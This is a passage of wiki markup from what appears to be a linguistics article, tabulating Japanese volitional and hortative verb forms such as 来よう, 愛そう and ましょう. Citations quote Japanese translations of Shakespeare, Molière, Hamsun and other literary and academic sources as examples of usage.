なにさ〱、<ruby>乃公<rp>(</rp><rt>おれ</rt><rp>)</rp></ruby>が<ruby>馳驅<rp>(</rp><rt>かけずり</rt><rp>)</rp></ruby><ruby>奔走<rp>(</rp><rt>まは</rt><rp>)</rp></ruby>るわさ、さすれば、大丈夫、どうにかなるわさ。<ruby>卿<rp>(</rp><rt>そなた</rt><rp>)</rp></ruby>は、ヂュリエットの<ruby>許<rp>(</rp><rt>とこ</rt><rp>)</rp></ruby>へ往て、着る物を手傳うてやりゃ。<ruby>乃公<rp>(</rp><rt>おれ</rt><rp>)</rp></ruby>は今夜は<ruby>寢<rp>(</rp><rt>やす</rt><rp>)</rp></ruby>むまい。はて、任せておきゃ。今夜ほどは女房役をせうわい‥‥(奧に向ひて)こりゃ、誰れかゐぬか! ‥‥皆出拂うてしまうた。むゝ、自身でパリスどのゝ<ruby>邸<rp>(</rp><rt>やしき</rt><rp>)</rp></ruby>へ往て、<ruby>明朝<rp>(</rp><rt>あす</rt><rp>)</rp></ruby>の<ruby>準備<rp>(</rp><rt>こゝろがまへ</rt><rp>)</rp></ruby>をさせて來う。心がおそろしう輕うなったわい、あの我儘者めが改心しをったによって。<br>[…]<br>'''ヂョン''' うゝ、すれば、<ruby>往<rp>(</rp><rt>い</rt><rp>)</rp></ruby>て<ruby>持<rp>(</rp><rt>もて</rt><rp>)</rp></ruby><ruby>來<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>う。|quote=She speaks, yet she says nothing: what of that?<br>Her eye discourses, I will answer it.<br>I am too bold, 'tis not to me she speaks:<br>[…]<br>I hear some noise within; dear love, adieu!<br>[''Nurse calls within.'']<br>Anon, good nurse! Sweet Montague, be true.<br>Stay but a little, I will come again.<br>[…]<br>'''Ben.''' Nay, he will answer the letter's master, how he dares, being dared.<br>[…]<br>Go. I 'll to dinner; hie you to the cell.<br>[…]<br>'''Mer.''' But I 'll be hang'd, sir, if he wear your livery:<br>Marry, go before to field, he 'll be your follower;<br>Your worship in that sense may call him man.<br>[…]<br>'''Jul.''' Gallop apace, you fiery-footed steeds,<br>Towards Phœbus' lodging: such a waggoner<br>As Phaethon would whip you to the west,<br>And bring in cloudy night immediately.<br>[…]<br>'''Nurse.''' Hie to your chamber: I 'll find Romeo<br>To comfort you: I wot well where he is.<br>Hark ye, your Romeo will be here at night:<br>I 'll to him; he is hid at Lawrence' cell.<br>[…]<br>An you be mine, I 'll give you to my friend;<br>An you be not, hang, beg, starve, die in the streets,<br>For, by my soul, I 'll ne'er acknowledge thee,<br>Nor what is mine shall never do thee good:<br>Trust to 't, bethink you; I 'll not be forsworn.<br>[…]<br>'''Jul.''' O, bid me leap, rather than marry Paris,<br>From off the battlements of yonder tower;<br>Or walk in thievish ways; or bid me lurk<br>Where serpents are; […]<br>'''Cap.''' Tush, I will stir about,<br>And all things shall be well, I warrant thee, wife:<br>Go thou to Juliet, help to deck up her;<br>I 'll not to bed to-night; let me alone;<br>I 'll play the housewife for this once. What, ho!<br>They are all forth: well, I will walk myself<br>To County Paris, to prepare him up<br>Against to-morrow: my heart is wondrous light,<br>Since this same wayward girl is so reclaim'd.<br>[…]<br>'''Fri. J.''' Brother, I 'll go and bring it thee.|pp=54, 60, 69, 86, 93, 101, 108, 132, 139, 144, 166|script-title=ja:ロミオとヂュリエット|title=Romeo and Juliet|authorlink=William Shakespeare|first=William|last=Shakespeare|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|series={{#invoke:lang|lang|ja|シェークスピヤ全集}}|publisher=Shinjusha|date=15 July 1957|location=[[Bunkyō]], Tokyo|url=https://dl.ndl.go.jp/pid/1664849/1/36}}</ref><ref name=tsubouchi-1958-hamlet-hortatives>{{#invoke:cite|book|lang=ja|script-quote=ja:'''ハム''' <ruby>予<rp>(</rp><rt>よ</rt><rp>)</rp></ruby>も今宵は見張をせう。或はまた出て來るでもあらう。<br>[…]<br>さゝ、持參の書面を<ruby>陛下<rp>(</rp><rt>かみ</rt><rp>)</rp></ruby>へ參らする手續をせう。早うそれを果して、予をば先方へ案內しておくりゃれ。<br>[…]<br>'''ハム''' 何の〱。前兆なぞを氣にゃせぬわい。雀が一疋落つるにも天の配劑。今來れば後には來ず、後に來ずば今來う、よし今は來ずとも、いつかは一度來うによって、何事も覺悟が第一ぢゃ。殘してゆく世が我世でなくば、早う死なうとも何の事も無いわ。棄てゝおきゃれ。<br>[…]<br>'''ハム''' 此上は隔心なく、お互ひに心を許して、<ruby>同胞<rp>(</rp><rt>きやうだい</rt><rp>)</rp></ruby>づくの試合をせう。‥‥<ruby>試合劍<rp>(</rp><rt>はびき</rt><rp>)</rp></ruby>を持て。‥‥いざ。|quote='''Ham.''' I will watch to-night;<br>Perchance 't will walk again.<br>[…]<br>Come, I will make you way for these your letters;<br>And do 't the speedier, that you may direct me<br>To him from whom you brought them.<br>[…]<br>'''Ham.''' Not a whit, we defy augury: there 's a special providence in the fall of a sparrow. If it be now, 't is not to come; if it be not to come, it will be now; if it be not now, yet it will come: the readiness is all: since no man has aught of what he leaves, what is 't to leave betimes?<br>[…]<br>'''Ham.''' I embrace it freely;<br>And will this brother's wager frankly play.<br>Give us the foils. Come on.|pp=25, 161, 201, 203|url=https://dl.ndl.go.jp/pid/1664852/1/18|title=Hamlet, Prince of Denmark|script-title=ja:ハムレット|authorlink=William Shakespeare|first=William|last=Shakespeare|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|series={{#invoke:lang|lang|ja|シェークスピヤ全集}}|publisher=Shinjusha|trans-title=[[Hamlet]]|date=30 April 1958|location=[[Bunkyō]], Tokyo}}</ref>
|-
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably do|せん|sen}}<br>{{#invoke:nihongo|nihongo_krt||せむ|semu}}
|-
| rowspan=3 | {{#invoke:nihongo|nihongo_krt|study|勉強する|benkyō suru}}
| rowspan=3 style=text-align:right | {{#invoke:lang|lang|ja|勉強}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勉強}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably study|勉強しよう|benkyō shiyō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勉強}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|しょ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably study|勉強しょう|benkyō shō}}<ref name=takahama-1949/><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:勉強しょうと思うた 人形の為い勉強しょうと思うた 俺は何あも知らんけん勉強せな こげんまともに勉強したとは今まであったかいな|script-chapter=ja:第三百六十九回 やるしかなか|script-title=ja:博多っ子純情|edition={{#invoke:lang|lang|ja|大合本}}|volume=17|publisher=Goma Books|last=Hasegawa|first=Hōsei|date=13 September 2019}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勉強}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably study|勉強せん|benkyō sen}}<br>{{#invoke:nihongo|nihongo_krt||勉強せむ|benkyō semu}}
|-
| rowspan=4 | {{#invoke:nihongo|nihongo_krt|love|愛する|aisuru}}
| rowspan=4 style=text-align:right | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|そ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably love|愛そう|aisō}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:人が私を愛そうと思っても愛することが出来ないという意味ではなく,私は愛するに値しないから,人が私を愛するようにみえても,それは虚偽であり,私も人をして自分を愛するようにしむけることは不正であり,罪であるとパスカルは言うのである。|page=7 |url=https://soar-ir.repo.nii.ac.jp/record/983/files/Humanities_26-01.pdf|last=Akamatsu|first=Tsunehiro|script-title=ja:三木清のパスカル解釈について(続)|script-journal=ja:人文科学論集|number=26 |year=1992}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably love|愛しよう|aishiyō}}<ref name=miyahara-1923/><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:それは、愛しようと努めている野心家のようなものである。愛するためには、成功、権勢および地位への願望がやまねばならない。|page=43 |url=https://toyo.repo.nii.ac.jp/record/3689/files/keieironshu79_035-046.pdf|last=Ishii|first=Kaoru|script-title=ja:ホリスティック・マネジメントの哲学探究 ―クリシュナムルティの思想に依拠して―(2)|script-journal=ja:経営論集|number=79 |year=2012}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|しょ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably love|愛しょう|aishō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''<br>{{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably love|愛せん|aisen}}<br>{{#invoke:nihongo|nihongo_krt||愛さん|aisan}}<br>{{#invoke:nihongo|nihongo_krt||愛せむ|aisemu}}<br>{{#invoke:nihongo|nihongo_krt||愛さむ|aisamu}}
|-
| rowspan=4 | {{#invoke:nihongo|nihongo_krt|reach|達する|tassuru}}
| rowspan=4 style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|そ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably reach|達そう|tassō}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:たとえば描くことを通して事物の了解に達することよりも,ことばを通してずっと簡単に事物の了解に達そうとする。|page=217 |url=https://core.ac.uk/download/pdf/267843374.pdf|script-title=ja:現代ドイツの実験学校とその問題|title=Deutsche Versuchsschulen der Gegenwart und ihre Probleme|translator-last=Komine|translator-first=Yūichirō|script-journal=ja:中京大学教養論叢|volume=24 |number=4 |date=March 1984|first=Fritz|last=Karsen}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう<br>ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably reach|達しよう|tasshiyō}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:その輸入量は二百万トンにも達しようとしているし、輸入額は数億ドルに達する。|page=3 |url=https://agriknowledge.affrc.go.jp/RN/2010846169.pdf|issn=0388-8533|script-journal=ja:農村研究|authorlink=Seiichi Tobata|first=Seiichi|last=Tobata|script-title=ja:わが国畜産業の問題点|number=16 |date=June 1962|publisher={{#invoke:lang|lang|ja|東京農業大学農業経済学会}}}}</ref><br>{{#invoke:nihongo|nihongo_krt||達しん|tasshin}}<br>{{#invoke:nihongo|nihongo_krt||達しむ|tasshimu}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|しょ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably reach|達しょう|tasshō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''<br>{{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably reach|達せん|tassen}}<br>{{#invoke:nihongo|nihongo_krt||達さん|tassan}}<br>{{#invoke:nihongo|nihongo_krt||達せむ|tassemu}}<br>{{#invoke:nihongo|nihongo_krt||達さむ|tassamu}}
|-
| rowspan=3 | {{#invoke:nihongo|nihongo_krt|guess|察する|sassuru}}
| rowspan=3 style=text-align:right | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう<br>ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably guess|察しよう|sasshiyō}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:そのような 4 つの設問の中で,「気持ちを察する」(Qb3,Qu3)という言葉が「共感する」という意味に最も近いとも考えられる.この結果からも,上司が状況を察していると考える力と利用者の気持ちを察しようとする力はいずれもその職員がもつ共感する能力に関連することが示唆される.|page=37|url=https://www.jstage.jst.go.jp/article/jalliedhealthsci/11/1/11_34/_pdf|last1=Kojima|first1=Kazunori|last2=Nakayama|first2=Yōhei|last3=Kita|first3=Kazuma|script-title=ja:介護保険施設の職員における上司からの思いやりとサービス利用者に対する思いやりの関連|script-journal=ja:保健医療学雑誌|volume=11 |number=1 |year=2020}}</ref><br>{{#invoke:nihongo|nihongo_krt||察しん|sasshin}}<br>{{#invoke:nihongo|nihongo_krt||察しむ|sasshimu}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|しょ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably guess|察しょう|sasshō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably guess|察せん|sassen}}<br>{{#invoke:nihongo|nihongo_krt||察せむ|sassemu}}
|-
| rowspan=3 | {{#invoke:nihongo|nihongo_krt|believe|信ずる|shinzuru}}
| rowspan=3 style=text-align:right | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ず}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう<br>ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably believe|信じよう|shinjiyō}}<ref name=ishii-2021/><br>{{#invoke:nihongo|nihongo_krt||信じん|shinjin}}<br>{{#invoke:nihongo|nihongo_krt||信じむ|shinjimu}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じょ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably believe|信じょう|shinjō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably believe|信ぜん|shinzen}}<br>{{#invoke:nihongo|nihongo_krt||信ぜむ|shinzemu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|give|進ずる|shinzuru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ず}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span>'''<br>{{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう<br>ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably give|進じよう|shinjiyō}}<ref name=izumi-1941>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>半<rp>(</rp><rt>はん</rt><rp>)</rp></ruby><ruby>國<rp>(</rp><rt>ごく</rt><rp>)</rp></ruby>を<ruby>分<rp>(</rp><rt>わ</rt><rp>)</rp></ruby>けて<ruby>貴<rp>(</rp><rt>き</rt><rp>)</rp></ruby><ruby>老<rp>(</rp><rt>らう</rt><rp>)</rp></ruby>に<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ずる、[…]「<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜよう。」[…]<ruby>茶<rp>(</rp><rt>ちや</rt><rp>)</rp></ruby><ruby>一<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>つ<ruby>念<rp>(</rp><rt>ねん</rt><rp>)</rp></ruby><ruby>入<rp>(</rp><rt>い</rt><rp>)</rp></ruby>りに<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ずるにしても、[…]<ruby>見<rp>(</rp><rt>み</rt><rp>)</rp></ruby><ruby>事<rp>(</rp><rt>ごと</rt><rp>)</rp></ruby>に<ruby>硏<rp>(</rp><rt>とぎ</rt><rp>)</rp></ruby><ruby>上<rp>(</rp><rt>あ</rt><rp>)</rp></ruby>げて<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜるだ。[…]<ruby>草鞋<rp>(</rp><rt>わらぢ</rt><rp>)</rp></ruby>の<ruby>算<rp>(</rp><rt>さん</rt><rp>)</rp></ruby><ruby>段<rp>(</rp><rt>だん</rt><rp>)</rp></ruby>をして<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜる。[…]「さあ、<ruby>穿<rp>(</rp><rt>は</rt><rp>)</rp></ruby>いたり――<ruby>穿<rp>(</rp><rt>は</rt><rp>)</rp></ruby>かせて<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>じよう。」|pages=442, 462, 496, 673, 739, 741|date=30 September 1941|url=https://dl.ndl.go.jp/pid/1682834/1/375|first=Kyōtarō|last=Izumi|authorlink=Kyōka Izumi|script-title=ja:鏡花全集|volume=21 |publisher=Iwanami Shoten|location=[[Kanda, Tokyo]]}}</ref><br>{{#invoke:nihongo|nihongo_krt||進ぜよう|shinzeyō}}<ref name=izumi-1941/><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:その『閹人顕正論』の四二頁<ruby>已<rp>(</rp><rt>い</rt><rp>)</rp></ruby><ruby>下<rp>(</rp><rt>か</rt><rp>)</rp></ruby>にいわく、十一世紀にギリシア人、イタリアのベネヴェント公と戦い、<ruby>甚<rp>(</rp><rt>いた</rt><rp>)</rp></ruby>くこれを苦しめた後、スポレト侯チッバルドこれを<ruby>援<rp>(</rp><rt>たす</rt><rp>)</rp></ruby>けてギリシア軍を破り、数人を捕えこれを宮してギリシアの将軍に送り、ギリシア帝は特に閹人を愛するからこれだけ閹人を<ruby>依<rp>(</rp><rt>こしら</rt><rp>)</rp></ruby>えて進ずる、なおまた勝軍して一層多く拵えて進ぜようと言いやった。|url=https://www.aozora.gr.jp/cards/000093/files/2540_35098.html|pages=137–138|script-chapter=ja:鶏に関する伝説|script-title=ja:十二支考|volume=2 |authorlink=Minakata Kumagusu|last=Minakata|first=Kumagusu|publisher=Iwanami Shoten|isbn=4-00-331392-5|date=22 February 1994|orig-date=17 January 1994|edition=3rd|location=[[Chiyoda, Tokyo]]}}</ref><br>{{#invoke:nihongo|nihongo_krt||進じん|shinjin}}<br>{{#invoke:nihongo|nihongo_krt||進ぜん|shinzen}}<br>{{#invoke:nihongo|nihongo_krt||進じむ|shinjimu}}<br>{{#invoke:nihongo|nihongo_krt||進ぜむ|shinzemu}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じょ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably give|進じょう|shinjō}}
|-
| {{#invoke:nihongo|nihongo_krt|come|来る|kuru}}
| style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|こ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう<br>う<br>ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably come|来よう|koyō}}<br>{{#invoke:nihongo|nihongo_krt||来う|kō}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<small>'''樋口'''</small> いや侯爵、わしは貴郞に話しとるんぢや無いです。わしは或る紳士が殊更に奇矯な態度を採つて宮內省を輕蔑し、吾々全躰も同樣ぢやと世人に思はせるから彼奴等を駁してをるのぢや。併しわしは、この樋口は彼等に感染れんで、彼等を矯正して終には眞人間らしうしてやる折が來うと思ふ。|trans-quote=<span style=font-variant:small-caps>'''dorante'''</span> Nay, Marquis, I am not talking to you. I am arguing against certain Messieurs who dishonor the courtly by picking up extravagant manners on purpose, and make people think that we are all the same. But I think that I, Dorante, will not be influenced by them, and the time will come when I set them straight and finally make them into real gentlemen.|quote=<p style=text-align:center>DORANTE.</p>Mon Dieu Marquis ce n'est pas à toy que je parle. C'est à vne douzaine de Messieurs qui deshonnorent les gens de Cour par leurs manieres extrauagantes, et font croire parmy le peuple que nous nous ressemblons tous. Pour moy, je m'en veux justifier le plus qu'il me sera possible; et ie les dauberay tant, en toutes rencontres, qu'à la fin ils se rendront sages.|p=375|url=https://dl.ndl.go.jp/pid/10298113/1/416|script-chapter=ja:夫人學校是非|trans-chapter=The Critique of [[The School for Wives]]|chapter=LA CRITIQVE DE L'ESCOLE DES FEMMES, COMEDIE.|script-title=ja:モリエエル全集|trans-title=The Complete Works of Molière|author=[[Molière]]|translator-last=Kusano|translator-first=Shibaji|publisher=Kanao Bun'endō|date=20 March 1908|location=[[Kyōbashi, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:それに、彼れは、實際、近所の人の家で、一疋の黑兎を見たことがありますが、彼れは、こんどの五朔節の前夜には、それをこつそり盜んで來うと決心したのです、それが、彼れから見れば、大變な寳ものなんですから、どうもいたしやうがありません、どうなることか、一つ見てゐませう。|trans-quote=Besides, he had actually seen a black rabbit at a neighbor's house, and was determined to stealthily steal it on the next [[Walpurgisnacht]]. Since it was a great treasure as he saw it, there was nothing else to do, so let us see how that would turn out.|quote=Er hat auch wirklich bei einem Mitmeiſter ſchwarze Kaninchen geſehen, und iſt feſt entſchloſſen, in nächſter Walpurgisnacht eins zu ſtehlen. Da wird man nun ſehen, wie das Ding ablaufen wird.|url=https://dl.ndl.go.jp/pid/938024/1/87|p=138|script-chapter=ja:蟹の小本 <small>(我子の惡德)</small>|trans-chapter=Crab's Booklet <small>(Your Children's Guide to Bad Conduct)</small>|chapter=Krebsbüchlein, oder Anweiſung zu einer unvernünftigen Erziehung der Kinder|script-title=ja:蟹の小本 <small>(我子の惡德)</small> コンラード・キーフェル <small>(我子の美德)</small> 蟻の小本 <small>(敎育者の敎師)</small>|trans-title=Crab's Booklet <small>(Your Children's Guide to Bad Conduct)</small>. Konrad Kiefer <small>(Your Children's Guide to Good Conduct)</small>. Ant's Booklet <small>(A Guide for Educators)</small>|title=Krebsbüchlein, oder Anweiſung zu einer unvernünftigen Erziehung der Kinder. Konrad Kiefer oder Anweiſung zu einer vernünftigen Erziehung der Kinder. Ameiſenbüchlein, oder Anweiſung zu einer vernünftigen Erziehung der Erzieher.|series={{#invoke:lang|lang|ja|<small>新譯</small>世界敎育名著叢書}}|volume=X|date=10 October 1925|publisher=Bunkyoshoin|location=[[Ushigome]], Tokyo|authorlink=Christian Gotthilf Salzmann|first=Christian Gotthilf|last=Salzmann|translator-first=Sukeshige|translator-last=Tasei}}</ref><ref>{{#invoke:cite|book|lang=ja|quote=— Jeg? spør Oline. Er det mig du mener? — Ja det er dig jeg mener, svarer Inger og graater. Du har været det værste Utskud imot mig og jeg har ingen god Tro om dig. Og desforuten saa vilde du bare stjæle al Ulden ifra os dersom at du kom hit. Og den ene Gjeitosten efter den andre vilde gaa til dit Folk og ikke til mit. — Du er et Kreatur! sa Oline.|script-quote=ja:「私が?―――あんた、それをしたのが、私だつていふのね?」と、オリーネが訊いた。<br>「さうさ。おめえだと、わしはいふだ」と、言つて、インゲルは泣いた。「おめえはわしにとつちや一等惡い人間の屑だ。わしは少しもおめえを信用しねえだ。そればかしぢやねえ、おめえが<ruby>此<rp>(</rp><rt>こ</rt><rp>)</rp></ruby><ruby>處<rp>(</rp><rt>ゝ</rt><rp>)</rp></ruby>ん<ruby>家<rp>(</rp><rt>ち</rt><rp>)</rp></ruby>さ<ruby>來<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>うちふのは、羊の毛盜まうちふんだべえ。そして、又山羊の<ruby>乾酪<rp>(</rp><rt>チーズ</rt><rp>)</rp></ruby>だつて、おめえん<ruby>家<rp>(</rp><rt>ち</rt><rp>)</rp></ruby>さ持つて行かれて、おれん<ruby>家<rp>(</rp><rt>ち</rt><rp>)</rp></ruby>の者は喰はれねえべえ」<br>「お前は、ど畜生だよ!」と、オリーネが言つた。|trans-quote="Me?―――Are you saying it was I who did it?" asked Oline.<br>"Yes. I'm sayin' it was you," said Inger, wailing. "You're a first-grade human scumbag to me. I don't trust you the least. Not only that, you'd steal our wool if you came here. And then you'd get to take the goat cheeses to your people, and mine wouldn't get to eat any."<br>"You foul beast, you are!" said Oline.|url=https://dl.ndl.go.jp/pid/1136427/1/65|p=127|script-chapter=ja:六|chapter=VI|script-title=ja:土の惠み|trans-title=[[Growth of the Soil]]|title=Markens Grøde|volume=1|authorlink=Knut Hamsun|first=Knut|last=Hamsun|translator-first=Kōichirō|translator-last=Miyahara|publisher=Shinchosha|series={{#invoke:lang|lang|ja|新潮文庫}}|date=13 June 1943|location=[[Ushigome]], Tokyo}}</ref><ref name=tsubouchi-1957-romeo-and-juliet-hortatives/><ref name=tsubouchi-1958-hamlet-hortatives/><br>{{#invoke:nihongo|nihongo_krt||来ん|kon}}<br>{{#invoke:nihongo|nihongo_krt||来む|komu}}
| {{ipa|/komu → koũ → koː → kojoː/<br>/komu → koN/}}
|-
! colspan=6 style=text-align:left | Verbal auxiliaries
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt||〜ます(る)|‑masu(ru)}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|ま}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|(る)}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|ま}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|しょ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably …|〜ましょう|‑mashō}}
| rowspan=3 | {{ipa|/semu → seũ → sjoː/}}<br>{{ipa|/semu → seN/}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|ま}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
